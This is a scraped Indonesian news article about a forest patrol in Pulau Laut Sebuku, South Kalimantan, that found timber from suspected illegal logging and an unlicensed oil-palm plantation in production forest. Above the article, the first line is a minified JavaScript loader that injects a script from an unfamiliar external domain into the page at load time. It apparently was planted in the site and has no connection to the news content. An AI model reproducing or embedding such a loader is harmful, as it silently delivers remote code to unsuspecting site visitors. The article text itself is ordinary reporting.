(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Patroli Pengaman Hutan KPH Pulau Laut Sebuku Temukan Penebangan Liar


BANJARBARU, Patroli Pengamanan Hutan KPH Pulau Laut Sebuku terus dilakukan dengan melakukan penelusuran pada beberapa titik kemungkinan jalan masuk arah TKP dugaan adanya penebangan liar. Pada salah satu jalan masuk yang dilakukan penelusuran, petugas mendapati adanya bekas jalan angkutan yang dicurigai digunakan untuk mengangkut kayu.

Pada ujung jalan, diketemukan adanya potongan kayu kecil dan tongkat kayu bulat diameter kurang dari 8 cm panjang ± 2-3 meter yang biasa digunakan untuk menarik kayu dari lokasi tebang secara manual.

Lalu, pada koordinat -3.38714, 116.21852 petugas mendapati adanya tumpukan kayu sebanyak 20 keping, yang berdasarkan peta pengukuhan kawasan hutan SK.2308/2017, areal tersebut berada pada HP yang berbatasan dengan IUPHHK PT. Inhutani II. Petugas melakuan penelusuran dengan mendaki jalan lokasi diduga keluarnya kayu, sampai dengan 200 m dari titik temuan namun belum mendapati adanya bekas tebangan.

“Dilihat dari jenis kayu yang berjenis keruing, diduga kuat berasal dari kawasan lindung yang sekarang berubah fungsi menjadi Tahura Sebatung. Atas kayu temuan tersebut, petugas belum dapat melakuan evakuasi karena terkendala angkutan dan curamnya medan/kontur, sehingga hanya memusnahkan kayu penarik manual,” kata petugas setempat.

Sepulang dari pemeriksaan lokasi diatas, petugas mendapati adanya perkebunan kelapa sawit yang diperkirakan berumur lebih dari 3 tahun masa tanam, perkebunan sawit dimaksud, masih berada pada kawasan HP tanpa beban perizinan. Selanjutnya dilakukan pengumpulan data dan informasi oleh petugas.

Pada salah satu lokasi, petugas mendapati adanya aktifitas di pondok tengah sawit yang dilakukan Sabirin. Ditanyakan siapa penguasa lahan dan sawit, ia mengatakan dikuasai oleh mereka secara turun temurun dan sebagian ada yang dibeli.

Dijelaskan oleh patugas, bahwa lokasi yang dikerjakan oleh mereka adalah kawasan hutan dan pada kawasan hutan dilarang melakukan aktifias perkebunan. Namun berdasarkan P.83/2016 untuk perkebunan perseorangan dapat dilakukan pola kemitraan. Nantinya masyarakat ada kepastian hukum serta berkontribusi ke negara. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

12 menit ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

33 menit ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

50 menit ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

2 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

3 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

4 jam ago

This website uses cookies.